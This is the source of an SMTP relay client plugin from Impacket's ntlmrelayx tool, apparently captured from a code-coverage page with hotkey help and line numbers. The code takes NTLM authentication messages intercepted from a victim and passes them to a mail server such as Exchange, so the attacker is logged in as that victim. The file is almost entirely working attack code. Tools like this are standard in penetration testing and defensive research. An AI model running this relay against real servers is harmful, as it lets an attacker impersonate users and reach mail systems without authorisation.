Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 

# 

# This software is provided under under a slightly modified version 

# of the Apache Software License. See the accompanying LICENSE file 

# for more information. 

# 

# SMTP Protocol Client 

# 

# Author: 

# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 

# Alberto Solino (@agsolino) 

# 

# Description: 

# SMTP client for relaying NTLMSSP authentication to mailservers, for example Exchange 

# 

import smtplib 

import base64 

from struct import unpack 

 

from impacket import LOG 

from impacket.examples.ntlmrelayx.clients import ProtocolClient 

from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 

from impacket.ntlm import NTLMAuthChallenge 

from impacket.spnego import SPNEGO_NegTokenResp 

 

PROTOCOL_CLIENT_CLASSES = ["SMTPRelayClient"] 

 

class SMTPRelayClient(ProtocolClient): 

PLUGIN_NAME = "SMTP" 

 

def __init__(self, serverConfig, target, targetPort = 25, extendedSecurity=True ): 

ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 

 

def initConnection(self): 

self.session = smtplib.SMTP(self.targetHost,self.targetPort) 

# Turn on to debug SMTP messages 

# self.session.debuglevel = 3 

self.session.ehlo() 

 

if 'AUTH NTLM' not in self.session.ehlo_resp: 

LOG.error('SMTP server does not support NTLM authentication!') 

return False 

return True 

 

def sendNegotiate(self,negotiateMessage): 

negotiate = base64.b64encode(negotiateMessage) 

self.session.putcmd('AUTH NTLM') 

code, resp = self.session.getreply() 

if code != 334: 

LOG.error('SMTP Client error, expected 334 NTLM supported, got %d %s ' % (code, resp)) 

return False 

else: 

self.session.putcmd(negotiate) 

try: 

code, serverChallengeBase64 = self.session.getreply() 

serverChallenge = base64.b64decode(serverChallengeBase64) 

challenge = NTLMAuthChallenge() 

challenge.fromString(serverChallenge) 

return challenge 

except (IndexError, KeyError, AttributeError): 

LOG.error('No NTLM challenge returned from SMTP server') 

raise 

 

def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 

if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 

respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 

token = respToken2['ResponseToken'] 

else: 

token = authenticateMessageBlob 

auth = base64.b64encode(token) 

self.session.putcmd(auth) 

typ, data = self.session.getreply() 

if typ == 235: 

self.session.state = 'AUTH' 

return None, STATUS_SUCCESS 

else: 

LOG.error('SMTP: %s' % ''.join(data)) 

return None, STATUS_ACCESS_DENIED 

 

def killConnection(self): 

if self.session is not None: 

self.session.close() 

self.session = None 

 

def keepAlive(self): 

# Send a NOOP 

self.session.noop()